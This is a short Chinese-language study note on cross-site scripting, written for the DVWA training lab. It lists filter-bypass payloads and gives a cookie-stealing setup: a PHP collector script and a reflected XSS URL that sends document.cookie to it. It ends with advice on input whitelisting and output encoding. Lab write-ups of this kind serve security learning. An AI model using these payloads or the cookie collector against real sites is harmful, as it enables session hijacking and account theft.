Cross Site Script 跨站脚本
是一种客户端代码的注入 而命令注入、sql注入都是客户端代码的注入。
XSS攻击行为的目标为:1、窃取目标的cookie信息 2、执行CSRF脚本等
存储型 | 攻击脚本存储在服务器数据库中 | 输出在HTML响应中 |
反射型 | 攻击脚本在URL中 | 输出在HTML响应中 |
DOM型 | 攻击脚本在URL中 | 输出在DOM节点中 |
<script>alert(/xss/)</script>
<!-- 绕过只过滤小写script标签的情况 -->
<sCrIpT>alert(/xss/)</sCrIpT>
<!-- 绕过只过滤一次script标签的情况 -->
<sc<script>ript> alert(/xss/)<sc</script>ript>
<!-- script标签不可用的情况 -->
<img src=x onerror=alert(/xss/)>
<iframe onload=alert(/xss/)>
弹窗验证 alert() 若被过滤可尝试 confirm()和 prompt()
有些web服务器可能会把同一个参数在服务器上合并起来,如果该服务器对该参数每一条的长度有限制可以尝试分割成多个来绕过限制。
攻击行为构造
攻击者服务端
<?php
$cookie = $_GET[‘cookie‘];
file_put_contents(‘cookie.txt‘, $cookie);
?>
XSS构造
http://192.168.3.88/dvwa/vulnerabilities/xss_r/
?name=<script>document.location=‘http://127.0.0.1/cookie.php?cookie=‘+document.cookie;</script>
URL编码后方可用
http://192.168.3.88/dvwa/vulnerabilities/xss_r/
?name=%3Cscript%3Edocument.location%3D%27http%3A%2f%2f127.0.0.1%2fcookie.php%3Fcookie%3D%27%2bdocument.cookie%3B%3C%2fscript%3E
DVWA_1.9 这里的各个等级主要围绕在各种对XSS脚本的过滤与绕过展开
low
http://192.168.3.88/dvwa/vulnerabilities/xss_r/
?name=<script>alert(/xss/)</script>#
medium.
<sCrIpT>alert(/xss/)</sCrIpT>
<sc<script>ript> alert(/xss/)<sc</script>ript>
high
<img src=x onerror=alert(/xss/)>
<iframe onload=alert(/xss/)>
php 中 htmlspecialchars 默认不编码单引号 带上 ENT_QUOTES参数后会编码单引号 不编码存在xss风险
mysql_real_escape_string 对引号进行转义防止sql注入
XSS防治办法
输入过滤: 白名单 不要用黑名单容易被绕过
输出过滤 html编码 js转译
另外存储型XSS原理类似 需要清理数据库时DVWA选择 Setup / Reset DB --> Create / Reset Database